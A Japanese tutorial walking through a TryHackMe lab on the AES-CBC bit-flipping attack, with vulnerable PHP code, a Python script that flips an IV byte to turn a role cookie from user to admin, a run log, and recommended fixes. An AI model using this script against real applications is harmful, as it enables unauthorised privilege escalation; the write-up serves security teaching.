はじめに
「データは暗号化しているから安全」
――この考え方は 半分だけ正しく、半分は危険 です。
暗号化は 機密性(Confidentiality) を守りますが、
完全性(Integrity)や真正性(Authenticity) を保証するとは限りません。
本記事では、
- Unauthenticated Encryption(認証されていない暗号化)とは何か
- なぜ AES-CBC が Bit Flipping Attack に弱いのか
- 実際の Web アプリで起きる権限昇格攻撃
- 正しい暗号の使い方
を TryHackMe の実例 をもとに解説します。
Unauthenticated Encryption とは?
Unauthenticated Encryption とは、
暗号化はしているが、
復号時に「改ざんされていないか」を確認しない暗号化方式
のことです。
この場合、システムは以下のように振る舞います:
- 暗号文を受信
- 復号できた
- 正しいデータだと信じる
しかし、ここには重大な欠陥があります。
暗号化だけでは「信頼」はできない
暗号には役割の違いがあります:
| 要素 | 意味 |
|---|---|
| 機密性 | 内容を読めないようにする |
| 完全性 | 改ざんされていないこと |
| 真正性 | 正しい送信者から来たこと |
暗号化(Encryption)だけでは完全性・真正性は守れません。
攻撃者は「中身は読めないが、書き換える」ことが可能になります。
これが Bit Flipping Attack の前提条件です。
Bit Flipping Attack とは?
Bit Flipping Attack(ビット反転攻撃)とは、
暗号文の一部を改ざんすることで、
復号後の平文を 意図した形に変化させる攻撃
です。
鍵は一切不要。
暗号アルゴリズムの 仕様(性質) を利用します。
なぜ AES-CBC は Bit Flipping に弱いのか
AES-CBC の復号は次の式で行われます:
P_i = D(C_i) XOR C_{i-1}
-
C_{i-1}:前の暗号ブロック(最初は IV) - 復号結果と XOR されて平文が得られる
重要なポイント
- C_{i-1} を書き換えると P_i が変わる
- 鍵を知らなくても、結果は予測可能
つまり:
AES-CBC は「改ざん可能(malleable)」な暗号方式
実例:role クッキー改ざん(TryHackMe)
問題の PHP コード
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['username'], $_POST['password'])) {
$username = htmlspecialchars($_POST['username']);
$password = htmlspecialchars($_POST['password']);
$message = "username={$username}";
$role = "0";
$token = encrypt_data($message, $key, $iv);
$token2 = encrypt_data($role, $key, $iv);
setcookie("auth_token", $token, time() + 3600, "/");
setcookie("role", $token2, time() + 3600, "/");
header("Location: dashboard.php");
exit();
}
$role = "0";
$token2 = encrypt_data($role, $key, $iv);
setcookie("role", $token2, time() + 3600, "/");
-
roleは"0"(一般ユーザ) - AES-CBC で暗号化
- MAC / 認証タグなし
- 復号後の値をそのまま信用
👉 Unauthenticated Encryption の典型例
"0" → "1" が可能な理由
ASCII コード:
-
'0'=0x30 -
'1'=0x31
差分は:
0x30 XOR 0x31 = 0x01
つまり:
- 対応する IV の 1 バイトを XOR 0x01
- 復号後の平文が
"0"→"1"
これが Bit Flipping です。
攻撃スクリプトの核心
import base64, sys
from binascii import unhexlify, hexlify
original_token = sys.argv[1] # Your encrypted role token goes here
try:
cipher_bytes = bytearray(unhexlify(original_token))
except ValueError:
print("Invalid token format! Make sure it's a valid hex string.")
exit(1)
# AES block size
block_size = 16
# Debug: Print IV (first 16 bytes) before modification
print("\n[DEBUG] Original IV (First 16 Bytes):", hexlify(cipher_bytes[:block_size]).decode())
guest_offset = 0
xor_diff = [
0x01, # '0' -> '1'
]
# Apply bit flipping to the IV (first 16 bytes)
for i, diff in enumerate(xor_diff):
print(f"[DEBUG] Modifying byte at offset {guest_offset + i}: {hex(cipher_bytes[guest_offset + i])} XOR {hex(diff)}")
cipher_bytes[guest_offset + i] ^= diff
print("\n[DEBUG] Modified IV (First 16 Bytes):", hexlify(cipher_bytes[:block_size]).decode())
# Encode the modified token back to hex
modified_token = hexlify(cipher_bytes).decode()
print("\nModified Token:")
print(modified_token)
print("\nUse this token as the new 'role' cookie in your browser to log in as admin.")
cipher_bytes[guest_offset] ^= 0x01
やっていることは単純で、
-
暗号文(IV)の特定バイトを反転
-
AES-CBC の性質により復号結果が変化
-
鍵は不要
-
暗号を「壊している」のではなく「正しく利用している」だけ
攻撃手順
-
任意の資格情報でログイン
-
Cookie
roleを取得
00c65711d877b321ed7f6132f66dc42aa7d8d6228c503d4be3642cb1149c82372ace07dc9699489f7b66c3f224731d8f
3.Bit Flipping スクリプトを実行
root@ip-10-48-106-107:~# python3 exploit.py 00c65711d877b321ed7f6132f66dc42aa7d8d6228c503d4be3642cb1149c82372ace07dc9699489f7b66c3f224731d8f
[DEBUG] Original IV (First 16 Bytes): 00c65711d877b321ed7f6132f66dc42a
[DEBUG] Modifying byte at offset 0: 0x0 XOR 0x1
[DEBUG] Modified IV (First 16 Bytes): 01c65711d877b321ed7f6132f66dc42a
Modified Token:
01c65711d877b321ed7f6132f66dc42aa7d8d6228c503d4be3642cb1149c82372ace07dc9699489f7b66c3f224731d8f
Use this token as the new 'role' cookie in your browser to log in as admin.
root@ip-10-48-106-107:~#
4.改ざん後の cookie をブラウザに設定
5. ページ更新
6. 管理者権限でログイン成功
正しい対策
最善策:AEAD を使う
- AES-GCM
- ChaCha20-Poly1305
→ 暗号化+完全性検証が一体化
⚠️ CBC を使う場合
- Encrypt-then-MAC
- 復号前に MAC 検証必須
おわりに
Bit Flipping Attack は、
- 暗号理論
- 実装ミス
- Web セキュリティ
が交差する非常に重要なテーマです。
「暗号=安全」という思い込みを壊してくれる
セキュリティ学習者必修の攻撃手法と言えるでしょう。

